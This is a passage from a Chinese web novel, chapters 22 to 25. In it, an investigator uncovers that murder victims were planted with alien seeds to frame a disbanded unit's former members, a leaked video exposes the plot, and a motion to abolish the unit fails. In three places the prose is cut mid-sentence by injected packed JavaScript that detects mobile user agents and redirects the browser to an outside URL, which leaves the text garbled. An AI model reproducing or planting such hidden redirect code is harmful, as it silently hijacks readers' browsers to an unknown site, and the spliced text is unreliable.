清晨,环卫工人在垃圾堆旁发现了两具尸体。一男一女,衣着普通,身上没有任何证件,只有几枚零散的硬币和一张皱巴巴的车票,是通往十一区的。 因现场还有残余的能量,与异能者有关,于是转到了异警部,他们的人很快赶到,勘查现场,拍照,登记。大量的证据表明这是一场抢劫杀人案。 第一时间调取监控,但问题是,这条街虽然偏僻,却并不算危险区域,附近也没有监控拍到可疑人员。 案子很快被归档为“无名尸体案”,等待进一步调查。 然而,这只是开始。 接下来的一周,中心区不同角落陆续发现了五具尸体。有的在废弃厂房,有的在河边,有的在公园长椅下。他们身份不明,死因各异,共同点就是他们身上残余的能量相似。 异警部将其并案,四处走访,忙得是焦头烂额,却始终没有收获。 在现在信息完全透明化的今天,此类案件已经可以说是团伙完美犯罪了,毕竟没有哪个人能做到同时在不同地方实施犯罪。 直到一份内部报告送到赵随石桌上。 他翻看着那些尸体的照片和资料,眉头越皱越紧。 车尔站在一旁,脸色也很难看:“赵哥,你看出来了吗?” “他们选的地点都在我们的旧部居住地附近,看这个人,他是全身的血管撑裂而死,杀人者使用的是控血的异能,能做到出神入化的,也只能是严回春了。还有这个,他的姿势很扭曲,手里拿着锤头,活生生的把自己骨头敲碎,这是精神控制系异能,正好是何寻擅长……” “他们不是在杀人。”赵随石声音低沉,“他们是在制造‘证据’。” “他们伪装成受害者,将其嫁祸给我们的旧部。”容贤忽然开口,她一直在旁边看着那些资料。 办公室里一时安静。 赵随石抬头看她。 容贤指着那些照片:“他们身上的伤口就是‘证据’,如果有人想栽赃,会说赵随石的旧部对当年被流放心怀不满,回来报复中心区。” 杨理火骂了一声:“妈的,真够阴的!” 赵随石沉默片刻,对方拿这些无辜之人的生命来和他对峙,这些人正在编织一张针对他和所有旧部的网。也不知他们是不是高看了他,觉得他会因这些死人自乱阵脚。 “他们到了吗?”他问。 车尔看了眼时间:“还有两个小时落地。” 赵随石点点头:“让他们落地后直接来总局,不要单独行动。另外,”他转过身,看向容贤,“你那边,李朝固最近联系你了吗?” “还没有。”容贤摇头,“上次告诉他旧部回归的事后,他就没再找过我。” “快了。”赵随石目光深邃,“他制造了这么多证据,下一步就是收网。到时候,他会需要你提供更多内部消息。” 容贤点点头,手不自觉地摸了摸怀里的加密通讯器。 李朝固准备了这么无名尸体,很快就会传遍所有人的耳朵里,到时候他们可以解释吗?她心底划过一丝担忧,有多少人会在乎真相呢? 22. 无名小卒 加密通讯器在凌晨时震动起来。 容贤闭上的眼睛动了动,手已经摸到了通讯器,强行清醒,这个时间也就只能是他了,摁下接听键,那边传来的声音压得很低,带着熬夜后的沙哑和压抑不住的兴奋。 “小贤,这两天清理部有什么动静?” 容贤翻了个身,用同样低的声音回:“冷复他们到了,赵随石让他们直接来总局,没让单独行动。怎么了?” 李朝固的声音有些颤抖:“没什么,就是告诉你一声,那些旧部,这回翻不了身。” 容贤心里一紧,彻底清醒,故作好奇的问:“什么意思?” “到时候你就知道了。”李朝固没有多说的意思,“你继续盯着,有情况随时报。” 通讯断了。 容贤盯着暗下去的闪灯,她没有把所有对话都告诉赵随石,不是不想,而是李朝固根本没有给她实质性的信息。这不像是信任,更像是……试探,或者,他本就没打算让一个刚投诚的外人知道核心计划。 她现在纠结也没有意义,半睡半醒的到了天亮。 赵随石这几天都在家里住,员工宿舍这边很少来了,容贤只有在单位可以见到他。 她吃完早餐,看到异警部的车停在了总局门口。 来的是个三十多岁的女人,一头红色大波浪,魅惑的眼影,眉眼却没有丝毫妖娆之气,她带着常年跑一线的人特有的干练走进去,她叫卓蓝,是异警部重案组长,也是赵随石为数不多还能说得上话的同僚。 卓蓝在电梯见到她,眼角上挑,“是你啊,一起吧。” 容贤有些拘谨,在气场如此强的人面前,她很想避开,早知道她走慢点了…… 电梯短短几十秒,她感觉过了一年。 卓蓝走在前面,扭回头朝她眨了眨眼,无形中把她撩到。 很好,不紧张了,有点晕。 “随石,不是我找你麻烦。”卓蓝在赵随石办公室里坐下,开门见山,“那几具尸体的事你也知道,上面压得紧,媒体盯得凶,我必须有个交代。” 赵随石给她倒了杯水:“查到什么了?” 卓蓝从包里掏出几张照片,摊在桌上:“这几具尸体的死因,和你们清理部几个旧部的异能特征高度吻合。这个,全身血管爆裂而亡——控血异能。这个,自己拿锤子敲碎自己的骨头——精神控制系异能。还有这个,脏器瞬间衰竭——能量汲取类异能。” 她抬眼看着赵随石:“冷复、严回春、何寻、向开颜……这些人都是你当年的老部下,现在陆续回来了。时间上太巧了,巧到我没办法跟上面说‘这只是巧合’。” 赵随石看着那些照片,沉默了几秒:“他们有不在场证明吗?” “有。”卓蓝叹了口气,“时间线上的监控、人证都对得上,没有一个人在案发现场出现过,但问题是,异能的特征骗不了人。这几个死者的伤口里,检测到的残留能量波动,和他们档案里的异能特征几乎一致。” “那你想怎么做?” “传唤。”卓蓝把一份名单推到他面前,“我需要他们来异警部配合调查,做详细的异能测试和能量比对。如果确认不是他们,也好还他们一个清白。” 赵随石接过名单,看着上面那些熟悉的名字,点了点头:“可以。我让他们配合。” 卓蓝站起身,走了两步又回头:“随石,你心里有数就行。这事儿闹得这么大,背后肯定有人推手。我这边能做的,就是尽量走正规程序,不让任何人有机会栽赃。”她顿了顿,“但媒体那边,我管不了。” 赵随石点了点头:“我知道。谢了。” 卓蓝走后,容贤进去。 他们刚才的对话她都听到了。 “你信她吗?”她问。 “信。”赵随石的声音很平静,“卓蓝不是那种会被人收买的人,但她能做的也有限,舆论这东西,不是她一个重案组长能控制的。” 话音刚落,门口传来一阵急促的脚步声,车尔快步走进来,脸色不太好:“赵哥,楼下被堵了。” 赵随石走到窗边往下看,总局大门外,不知何时聚集了几十号人,有扛着摄像机的记者,有举着自拍杆的网红,还有些普通市民模样的人举着标语,人声鼎沸,隔着玻璃都能感受到那股汹涌的热浪。 “下去看看。”赵随石转身往外走。 容贤想跟上去,被他拦住了:“你别露脸。李朝固那边还需要你。” 她停在原地,看着赵随石的背影消失在电梯里。 总局大门外,赵随石刚一出现,人群就像是嗅到肉的饿狗,眼冒恶光,上前围的水泄不通。 “赵部长!请问那几具无名尸体的案件您知情吗?” “有消息称死者与您召回的那些旧部有关,您对此有什么回应?” “清理部作为特殊部门,是否存在包庇下属的行为?” 由于之前赵随石在发布会的发言出色,他们发问都谨慎了很多,没有质疑他本人能力的问题。 他一言不发,就看着镜头,摄像哥被看到直发抖,扑面而来的压迫感不是谁都可以承受的。 一个穿着黑色外套的中年男人挤到最前面,他手里拿着一张打印出来的照片,是那几具尸体中的一具,一个面容模糊的中年女人。 他的声音在嘈杂中格外尖锐,“赵部长!这是我姐姐!她就是个普通打工的,在老区待不下去才来中心区讨生活!她死得不明不白,身上的伤却和你们的人对得上!那些怀恨在心的旧部凭什么藏在你身后?他们要是个男人,就该出来给我姐姐赔罪!” 几乎所有人的目光都到了他身上,他窘迫的搓了搓手,想要低下头,后来不知道想到什么,就把头高高的扬起,那悲愤的样子让看者心生同情。 赵随石看着他,面色不变,“你姐姐的死,我很遗憾。清理部会配合异警部彻查此案,如果真是我的人所为,法律会给他们应有的惩罚。” “法律?”那男人忍无可忍,就要冲上去,车尔在一旁挡住,他嘶吼,“别以为我不知道你们在想什么,无非就是假模假样的调查一番,然后找个替罪羊了事,我姐姐的命在你们这些大人物眼里不值钱,法律就是站在你们这些人身上!” 人群里响起附和声,有人开始推搡维持秩序的保安,场面眼看就要失控。 就在这时,一道轻盈的身影从侧门悄然离开总局,没有引起任何人注意。 …… 容贤走在西区的老街上,这里离总局几站的距离,却像另一个世界。 周围店铺寥寥无几,见到的人也都是打着赤膊躺在地上抽搐。 她一个面生的人踏进这里,就已经被盯上了。 她手机有车尔临时传出来的资料,那几具尸体的初步信息,虽然身份不明,但活动范围已经大致圈定。 死者之一,那个在垃圾堆旁被发现的中年女人,生前最后一个月频繁出现在这片区域。 调查应该是异警部做的事,可容贤总觉得自己也应该做点什么。 他们为什么成了死者,她抱着这样的问题走进更黑暗的巷子中去。 两侧是各种廉价店铺,彩票站、二手机器维修、挂着暧昧招牌的按摩店,空气里弥漫着油烟、霉味和廉价香水混合的气味。 巷子尽头,有一家不起眼的□□,门面不大,招牌上只剩辉煌两个字还在亮,门口蹲着几个年轻人,吸着同一只烟,痴迷着吸着烟味,看到她走近,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210301|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛立刻变得尖锐。 “找谁?”其中一个站起来,拦住去路。 容贤没说话,只是从口袋里掏出一张照片,那个中年女人的生活照,是从她仅有的遗物里翻拍的。 照片上的女人面容疲惫,但眼神还算清明,穿着一件灰扑扑的衣服,站在某个街角。 “见过她吗?” 那年轻人看了一眼,几乎想都没想,直接赶人:“这谁啊,不认识,快滚。” 他的反应太快,太刻意。 容贤起了疑,收起照片,转身离开,但她没有走远,而是在巷口拐角处停下,隐入阴影里。 十分钟后,还是那个那个年轻人,他从□□出来,左右看看,快步往巷子深处走去。容贤悄无声息地跟了上去。 他七拐八绕,最后钻进一栋看不出年岁的二层水泥房,容贤等了一会儿,确定没有其他动静,从一旁的泄水管往上爬,很快就翻了进去。 她停在窗户旁,一边注意脚下,一边侧耳听里面的声音,断断续续的,“……有人拿着阿霞的照片在下面问……对,就刚才……我不知道,一个女的,年轻,看着不像条子…她走了,但我感觉不对……” 容贤试图透过窗帘缝隙往里看,不大的房间里挤着三四个人,有男有女,都穿着廉价衣服,面容疲惫,那个年轻人在打电话,神情紧张。 角落里,一个上了年纪的男人正在箱子里翻着什么,听到“阿霞”的名字,手顿住了。 “阿霞怎么死的?”他突然开口,声音沙哑。 电话那头的人说了什么,年轻人的脸色更难看了。 容贤不再犹豫,推开窗户,翻身而入。 屋里的人吓了一跳,那个年轻人下意识往后退,撞翻了椅子,翻找箱子的男人倒是镇定,不避不退,“你是谁?” 容贤再次拿出那张照片,肯定道,“这个女人,你们一定认识。” 沉默了几秒,他叹了口气,对年轻人摆摆手,“别白费力气了,没用。”他看向容贤,“阿霞是我们这儿的常客,没钱的时候来打打零工,有钱的时候来玩两把,前阵子说有笔大买卖,能赚不少,然后就再没见过她。” “大买卖?谁找的她?” 男人摇头,“不知道,私下的交易,上不了什么台面的,她当然没不会和我们说,只是她很高兴,说干完这票就能回家了。”他顿了顿,“她家还有个小儿子,跟着奶奶过,她说这一次一定能把孩子接到身边照顾了。” 容贤沉默了几秒,收起照片,“你还有什么想说的吗?关于阿霞说的买卖。” “之前她给我透了一个地址,说是如果事情办成了,去那里领剩下的钱。她自言自语的时候我听到了,我听着像是……西区老船厂那边,不过我不确定。” 容贤心里一动,追问,“她有没有说那个人长什么样?” “她也不敢多问,那边规矩多,大概是什么大人物。” 容贤点点头,转身要走。 “姑娘。”他急忙叫住她,“你和我说句实话,你找阿霞,是不是她出了事?” 容贤停下脚步,转过身,男人像是随口问出来的,可仔细看,有麻木,也有苦闷,和这里的环境一样暗沉。 大概在这地方待久了,他早就习惯了生死无常。 “她回不了老家了。”容贤说。 男人听后,嗯了声,“那地方,要是能不去,别去。” 容贤没回答,顺着墙壁滑下去,借力翻了个漂亮的跟头,那年轻人探出头,忍不住吹声口哨。 他看容贤离去的方向,和男人说,“她朝西去了,要我下去拦住吗?” “拦不住的,随她去吧,各有各命。” …… 23. 证据呢? 西区老船厂,有七个仓库,这里近几年没有收益,人们都走了,至于为什么从前的大港落到这个地步,有河水改道,人气不齐,渐渐的,大家就放弃了这里。 天上的月亮和千百年前的月亮没什么区别,夜晚的路人都需要它来照前方的路。 容贤在仓库外观察了十分钟,确认没有埋伏,才从侧面的破洞钻进去。 里面如她所想空荡荡的,角落堆着一堆杂物,一个个的仓库扫过,打开手电筒上前仔细搜索,在最后一间里,她一件件的搜过去,早就被淘汰的电话机,还有碎开的账单,铁皮箱子搬开,她发现了一个被压扁的烟盒,烟盒里塞着一张揉皱的纸条。 上面写着一个地址,和一句话:“事成之后来这里领钱,记住,嘴巴严点,你也不想你的儿子出事吧。” 落款是一个简笔方块。 容贤收起手电,环视一周,就要准备离开,刚走出门,一个黑影从侧边攻来,她往后推,躲开这一击。 对方一击不中,当机就掏出能量枪朝她射击,这么近的距离,容贤单腿压低,另一条腿往上踢,把他手里的枪踢开,再旋身,狠狠扫向下半身,动作不停歇,她连呼吸都没有,直接逼近,将其人一只胳膊给卸掉,往下拉,趁着对方吃痛,两手往脖子上怼,逼退对方。 她听到后方的风声,不好,还有人,她往后弯腰,借地翻身,踹到他的头,结果被抓到脚,被抛出去,还没站稳,两个人默契的向她左右攻击。 棘手,容贤冷着脸,事到如今,只好逃了。 他们见人要逃,杀气腾腾的追上去。 月黑风高杀人夜,这句话还真没错,容贤甩也甩不掉,只好停下来,“你们是谁?为什么要杀我……不是!”她话都没说完,这两人就开始疯狂攻击,真是沉默是金。 容贤的异能过于霸道,她刚才只是小试身手,现在她不得不动真格,将他们体内的异能震碎。 他们弥留之际,没给容贤问话的机会,同一时间自尽,不知道吞下的是什么东西,要不是容贤用最快的速度跳开,就被大片血污糊了全身。 她重新落到地上,试图找个完整的人,结果除了一滩血水,那骨头啊,皮肉啊,都没了。 除了她自己,没有人知道这里进行了一场激战。 她回到总局时已经是凌晨,门口的人群早已散去,只有几个值夜班的保安正打这哈切还在打扫地上的垃圾,赵随石的办公室灯还亮着。 容贤推门进去,在对方诧异的眼神下把照片和纸条放在他桌上。 “找到了。”她说,“有人在西区边缘的底层圈子里雇人,给他们一笔钱,让他们办事,如果不够听话,就会拿家人来威胁。那些尸体就是栽赃我们旧部的工具!” 赵随石看着那张纸条上的符号,“很寻常的一个符号……你怎么断定这代表着他们?” “……”容贤兴冲冲的来,又被这个问题难住,是啊,她有什么证据来证明自己这个普通符号代表他们。 赵随石沉默了一会儿,“不确定那就去查。” 容贤点点头,在他对面坐下,“我在西区老船厂被两个人追杀,但我看不出他们的来处,很厉害,配合得当。” 赵随石见她虽风尘仆仆,精神却还好,也没看到伤口,微微松口气,“他们呢?” 容贤皱眉,“死了,我本来留了他们一命,想要问他们话,结果他们没给我这个机会,吞药自尽,身体被炸的四分五裂,可惜了,我连他们吃的药都不知道是什么,提供不了确切消息。” “确实可惜,不过你觉得他们是专门杀你,还是守在那里,只要谁去,就杀人灭口?” “后者。”容贤肯定道。 夜色慢慢发蓝,“那些死者,”容贤忽然开口,“有个叫阿霞的女人,老家还有个小儿子。她本来想赚完这笔钱,回去把孩子接到身边。” 赵随石看着她,没说话。 “还有那个在门口喊的男人,说是她弟弟。”容贤顿了顿,“他的愤怒是真的,或许他知情,但事实是他姐姐已经回不来了。” 安静良久,赵随石转向落地窗,看着远处泛白的天际线。 “这就是他们的用意,我们无法无视死者家人的悲痛,所以我们会入他们的圈套。但他们还是不太了解我们,他们的做法只会激起我们的愤怒,会让我们更坚定现在的路。”他说,“天亮之后,异警部会传唤冷复他们,我们按流程走,让卓蓝查,同时,”他回过头看向容贤,“李朝固很快就会再找你。到时候,让他以为你还在帮他们。” 容贤点了点头。 她摸了摸怀里的加密通讯器,心想:李朝固,你最好真的会来找我。 晨光就像招摇的金黄花瓣落在了落地窗下,落在桌上那张皱巴巴的纸条上。 * 容贤还没正式和冷复的几个旧部见面,就要送他们去异警部接受问话。 严回春从冷复那里得知了容贤的事,再加上自己打听到的,对容贤的印象很好。他脾气暴躁,对容贤倒是柔和了些,“现在见面真不是个好时候,等事情结束,我们找个艳阳高照的好日子坐下来聊。” “嗯。”容贤进不了审讯室,门缓缓闭上,她低下头,靠在墙上,思绪万千。 杨理火这几天去见了几个编外朋友,专门打听这些人是谁。 那个叫金碧辉煌的□□他也去了,他说,“都是活一天算一天的赌徒,想要他们开口,我可下了血本!好在,付出没有白费,已经有些眉目了,就等最后的确定了。” 杨理火伪装身份混迹在各大□□里,打听了不少事,交了不少朋友,三教九流都有。 是容贤羡慕不来的交际能力,她估计不出三句,就会冷场。 说起来她听赵随石说,杨理火出生在有头有脸的家庭里,家里都走学术派,可他本人完全不是,越复杂的情况他越如鱼得水,也是天生的情报专家了。 她想到这,就收到了杨理火传过来的视频。 她看了下四周,戴上耳机,点开看了起来。 视频一开始还有些晃,模糊的蓝光打在前面的人身上,这个人真好在沙发上起伏,容贤以为自己眼花了,放大仔细看,看到下面还有个女人,已经麻了,这不是小孟吗? 看认识的人拍片是什么体验? 容贤没话讲。 这进度条离完结还有一段距离,杨理火也不会无缘无故地发吧,她这样想的,忍着恶心继续往后看。 酣战一番,小孟满头大汗,也不介意别人在看,拍了拍女人的肩膀,给她转了几百个点,让她立马走人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217087|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她娇哼一声,满意的听到入账声音,把目光打在了对面男人的身上,男人身材比例很棒,穿着宽松地衬衫,白皮肤在灯光下亮的扎眼,大长腿,修长的手,手腕带着贵重的表,惹得她浮想联翩。 “别看了,两眼珠子都要掉下来了,再看他也不会点你,快滚吧。”小孟讽刺她的痴心妄想。 女人当然只是试试,又不吃亏,见对方确实不来电,惋惜了声,贴着他身边过。 男人见怪不怪的拍了拍刚才被擦到的胳膊。 “小孟,叫我过来就是让我看免费片呢?” “当然不是。”小孟擦了下手,拉上拉链,正儿八经地掏出手机,点开图片给他看,“司空,你要找的是不是就是这几个人?我们相识一场,我好心告诉你,这几个人你就不用找了。” 司空声音有些别扭,“不用找了?为什么?” “你先和我说,为什么找他们?” “欠我钱。”司空烦躁的说,“当时见他们可怜才借给他们的,谁知道说消失就消失,早知道当初就不留他们的命了。” 小孟心想反正人死了,冷复那些旧部也没办法脱身,司空最近给他不少好处,他也不想得罪这财主,告诉他也无妨,“他们就是一些贪心的人,你就不该对他们手软。” “他们啊,死了,至于他们欠你的钱,就当是你给的送葬费好了。” 司空有些意外,“这些人都死了?有那么巧吗?你不会是不想我找人,糊弄我的吧?” 小孟大叫“真是冤枉,我怎么会糊弄你呢?死人的事儿,我会说话吗?我和他们又没有什么仇,我平白无故的皱他们干什么?” “既然你知道的这么清楚,那你肯定知道他们是怎么死的吧,不要骗我,我会自己查的。”他没好气道,“如果你不说的话。” 小孟纠结再三,心想司空帮了他那么大的忙,比老板的恩情还要大,要不是司空帮他还钱,催账的人就会跑到他家里来闹,他老婆身体又不好,这一惊一乍万一出了事,孩子没了妈,他没了老婆,那真的要他的命,哪里像现在还能保持体面的生活。 “好吧,我这也不瞒你。”小孟向前倾,低声说,“这些底层人活的时候没有价值,可死了就不一样,还是非正常死亡,现在大家都提倡恢复末日前的人权啊,说些可笑的话,异能强弱不是衡量人价值的关键等,还说是要废除战时起来的的清理部,但要是按照他们速度,废除清理部得猴年马月了,于是我上头的人就说了,为了国家的长治久安,要配合这些舆论。” 司空听的满意,“确实,你们做的好。”心里倒是冷笑连连,还真是“光明磊落”啊,至于那些死的不明不白,那是死的好。 杨:「看完了?」 杨:「基本可以肯定了,我会匿名把这个视频传播出去。」 杨:「等着看笑话吧。」 容贤深呼一口气,不忍再看,好一个为了国家长治久安,比她想的还不要脸。 大白天的,她忍不住搓了搓胳膊。 卓蓝走了出来,她审讯旧部的事已经结束,得出的结果和之前无异。 冷复等人,不具备杀人动机,有充足的不在场证据,且思想没有问题,没有杀人嫌疑。 官方发布通报,引起轩然大波。 24. 价值 官方通报发布后的一个小时,对舆论走向最为关键,然而,结果并不如他们所愿。 不是转向信任,而是转向更深的质疑。 “没有杀人嫌疑?呵,异能对得上叫没有嫌疑?” “清理部的人命贵,底层人的命贱,这不是常识吗?” “末日的时候他们是英雄,现在和平了,英雄也该退休了,留着干嘛?继续高人一等?” 类似的言论像倾盆大雨般打下来,在各大社交平台迅速扩散,容贤坐在清理部的监控室里,看着屏幕上不断滚动的评论,眉头越皱越紧。 车尔在旁边调数据,脸色也不好看:“果然不出所料,能引起这么大的动静,是有人在后面操作,至少三分之一是水军。”他没有因此而乐观,继续说,“但剩下的……是真的人在骂。” 容贤没说话。她知道车尔的意思,水军可以控评,但控不住人心。那些真实的、带着怨气的评论,才是真正危险的信号。 屏幕上,一条评论突然一直被顶,顶到了热门: “我阿姐就是被异能者打死的,那人有关系,赔了钱了事,异防局?他们只会保护自己人,清理部?留着过年吗?” 点赞数已经破了十万。 杨理火推门进来,脸色也不太好:“看到了?舆论炸了。” “你那个视频呢?”容贤问。 “发了。”杨理火坐下,“匿名渠道,分时段投放,先小范围,再慢慢扩散,现在应该刚过了第一轮传播期,效果……” 他调出另一个监控界面,上面是他那个匿名视频的数据,播放量不高,才几万,但评论区的画风明显不一样。 “这是真的假的?小孟?后勤装备部的?” “那个司空是谁?听着不像好人。” “如果是假的,那这演技也太好了。如果是真的……” “别傻了,肯定假的,抹黑异防局的。” 两派人已经在评论区打起来了。 容贤看了一会儿,问:“能火吗?” “这我可保证不了,这得看命。”他转了转脖子上挂的吊坠,“内容是真的,但没有官方背书,想火得靠天时地利人和,现在这天时……不好说。” 往楼下看,总局门口又有新的人群聚集。这次不是家属,而是真正的、自发或被煽动的抗议者。 标语上写着:“清理部滚出异防局!”“异能者不是特权者!”“还死者公道!” 容贤看着那些陌生的面孔,想起小孟在视频里说的话,“这些底层人活的时候没有价值,可死了就不一样。” 还真是讽刺。 活着的时候被无视,死了倒成了工具。 …… 舆论战持续了整整两天。 杨理火的视频并非被淹没在茫茫网海中,就像往海里投入一颗倒计时的炸弹,虽然没有立刻引爆,但迟早会炸得翻了这海。 第三天早上,一条新的热搜悄然爬上榜单:#小孟是谁# 点进去,是小孟的个人信息被扒了个底朝天,后勤装备部职员,李朝固的亲信,多次经手异常资金流转,更有匿名者爆出,他和十一区局长李德海有密切往来,而李德海正是那几具尸体中部分人的原籍地负责人。 评论区彻底炸了。 “所以视频是真的???” “后勤装备部的人亲口说的,这些底层人是被故意杀死的,用来栽赃清理部?” “等等,如果是真的,那清理部是被冤枉的?那些旧部是无辜的?” “别急着洗!视频里说的‘上面的人’是谁?谁指使的?” 两派人马在评论区杀得昏天黑地,每一分钟都有上千条新评论涌入,支持清理部的和被煽动反对清理部的,都有自己的道理,也都无法彻底征服对方,甚至演化到你死我活的地步,把整个舆论场搅得浑浊不堪。 就在这时,异警部那边传来了新的消息。 卓蓝亲自来的,她推开赵随石办公室的门时,脸色比前几天更凝重。 “有新发现。”她把一份报告放在桌上,“在那些尸体体内检测到了异花种子的残余。” 办公室里瞬间安静。 赵随石拿起报告,快速浏览,容贤凑过去看,上面写着:样本编号03—10,均检测到微量异花能量波动,与源河区域捕获的异花样本特征高度相似。 结论:死者生前曾被异花寄生或接触,死亡时异花能量残留于体内,模仿了死者生前接触过的异能特征。 “不是栽赃的人模仿了他们的异能,”卓蓝的声音低沉,“是异花模仿了。他们被杀害的时候,体内有异花种子,种子死亡前的能量爆发,模拟出了旧部们的异能特征。” 容贤脑子里嗡的一声,那些画面瞬间串联起来,全身血管爆裂、自己敲碎自己的骨头、脏器衰竭……那不是异能者下的手,是异花死前的最后挣扎。 “所以真正的凶手……”她看向卓蓝。 “真正的凶手不止杀了这些人,还在他们体内植入了异花种子。”卓蓝点头,“利用异花临死前的能量爆发,伪装成旧部的异能特征,好一个一石二鸟,既销毁了证据,又栽赃了目标。” 赵随石放下报告,沉默了几秒,忽然问:“源河那边最近有异常吗?” 卓蓝摇头:“例行报告一切正常。但你也知道,正常有时候就是最大的不正常。” 第二天的取消清理部提案会议,在总局大礼堂举行。 这是早就定好的议程,由议会中的几个“先进势力”代表发起,理由是“和平年代不再需要战时特殊部门”。 支持者众多,反对者寥寥。 如果不是最近这波舆论,会议可能只是走个过场,但今天不太一样,台下座无虚席。记者、议员、各部门代表、还有自发前来的市民,把大礼堂挤得满满当当。 赵随石坐在清理部代表席的第一排,容贤在他身后。她看到前排有几个西装革履的人正在低声交谈,时不时往这边投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227087|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来意味深长的目光。 会议开始,发起提案的代表上台发言,那人五十来岁,声音洪亮,措辞犀利:“清理部成立于末日战争最艰难的时期,他们是英雄,这一点没人否认。但现在是什么时候?战争结束二十年了!源河防线稳固,异花威胁消退,我们为什么还要养着一个拥有特权的特殊部门?就因为他们的异能强?就因为他们是‘英雄’?” 台下响起掌声,容贤看到有人顺势举起了标语“取消特权部门”。 那人继续说:“最近的舆论大家都看到了。清理部的旧部刚召回,就出现了那么多尸体。虽然官方通报说他们没有嫌疑,但民众的质疑呢?民众的愤怒呢?如果清理部继续存在,这种质疑和愤怒只会越来越多!” 又是一阵掌声,这次更响。 轮到赵随石上台时,礼堂里的气氛明显变得微妙,掌声稀稀拉拉,更多的是审视和敌意的目光。 他走到发言席,没有立刻开口,只是安静的看着台下,那目光平静得近乎漠然,仿佛那些敌意和质疑与他无关。 直到全场寂静,他开始发言,“刚才这位代表说,清理部是战时产物,和平年代不再需要,我想问一个问题:我们真的和平了吗?” 台下有人想反驳,但赵随石没给他们机会。 “三天前,异警部在那几具尸体体内检测到了异花种子的残余。”他从口袋里掏出一份报告,举在空中,“这便是影响世界格局的末日异花的未完成体,它的种子,可以在死前被植入,死时爆发,它会模仿了死者生前接触过的异能特征,所以那些尸体身上的伤口,不是旧部们留下的,是异花留下的。” 台下开始骚动,有人交头接耳,有人试图提问,但赵随石的声音压过了所有嘈杂:“异花种子为什么会出现在中心区?它们是怎么越过源河防线的?还有多少这样的种子潜伏在我们身边?这些问题,才是我们应该关注的焦点,而不是互相指责、彼此消耗。” 他顿了顿,目光扫过前排那几个脸色变得僵硬的人。 “清理部存在的意义,从来不是要特权,是在所有人忘记危险的时候,站在最危险的地方。是在异花已经摸到我们门口的时候,第一个冲上去挡住它。” 他的话有一种很引人平静的力量,礼堂里再次安静下来,容贤看到有人放下了标语,有人在交头接耳,表情不再是纯粹的敌意,而是复杂的犹疑。 “如果你们觉得清理部没有存在的必要,那好。”赵随石最后说,“请你们回答我一个问题:下一次异花出现在中心区的时候,谁来挡?” 这是一个很简单的问题,可偏偏问倒了他的敌人。 异花带来的末日的惨烈敢忘记吗?世界再崩溃再来一次吗?年年歌颂的末日战士会知道他们守护的世界连一个世纪都留不下吗? 相信很多人都会说,不! 他走下台,礼堂里沉默了几秒,然后响起了掌声,没有之前那么热烈,却更真实。 提案被否决了。 25. 压力之下 会议结束后,容贤在走廊里遇到了小孟。 不,准确地说,是被人押着经过走廊的小孟。 他双手反铐在身后,低着头,脸色灰败,被两名异警部的探员架着往前走。 经过容贤身边时,他忽然抬起头,看了她一眼,她以为自己会看到恨意,可她怎么看,只看出认命后的空忙。 他一副肯定的语气,“你早知道了吧。” 容贤问心无愧,嗯了声。 小孟忽然笑了一下,那笑容比哭还难看:“我也没办法。我老婆身体不好,孩子要上学,催债的天天堵门……李朝固说帮他做事就能解决一切。我以为只是跑跑腿,传传话……” “够了。”旁边的警员推了他一把,“走。” 小孟踉跄着往前走,执拗的往后看,“他让我别告诉你太多,说你不完全可信,可我还是说了,因为……”他没说完,被押进了电梯。 人真的奇怪,他看起来对他的家人用情至深,可视频里他的所作所为却是在背叛妻子。 电梯门缓缓关上。 杨理火不知什么时候出现在她旁边,身上有香味,也不知道是自己的还是沾上了女人的香,他问:“他招了?” “还没。”容贤说,“但快了。” “李朝固呢?” “跑了。” 杨理火啧了一声:“跑得倒快。” 容贤没说话,只是拿出通讯器,调出一张地图。 上面标注着李朝固可能逃窜的几条路线,机场、车站、私人飞行器停放点,还有几条通往下级区的隐蔽通道。 “你觉得他会走哪条?”杨理火凑过来看。 容贤盯着地图,脑子里飞快地过着李朝固的资料。 他出身不高,靠钻营上位,做事谨慎但贪心,一旦暴露第一个念头肯定是跑,但不会跑太远,因为他手里还有没来得及转移的资产…… 她的手指在地图上移动,最后落在西区边缘一个不起眼的标记上。 “这里。” 杨理火挑眉:“老船厂?那边不是废弃了吗?” “就是因为废弃了,才适合躲。”容贤收起通讯器,“他有几条船私下挂在他表弟名下,平时用来运些见不得光的东西,现在他肯定不敢走正规渠道,水路是最快的。” “你确定?” “不确定。”容贤往外走,“但值得去看看。” …… 西区老船厂,七号仓库。 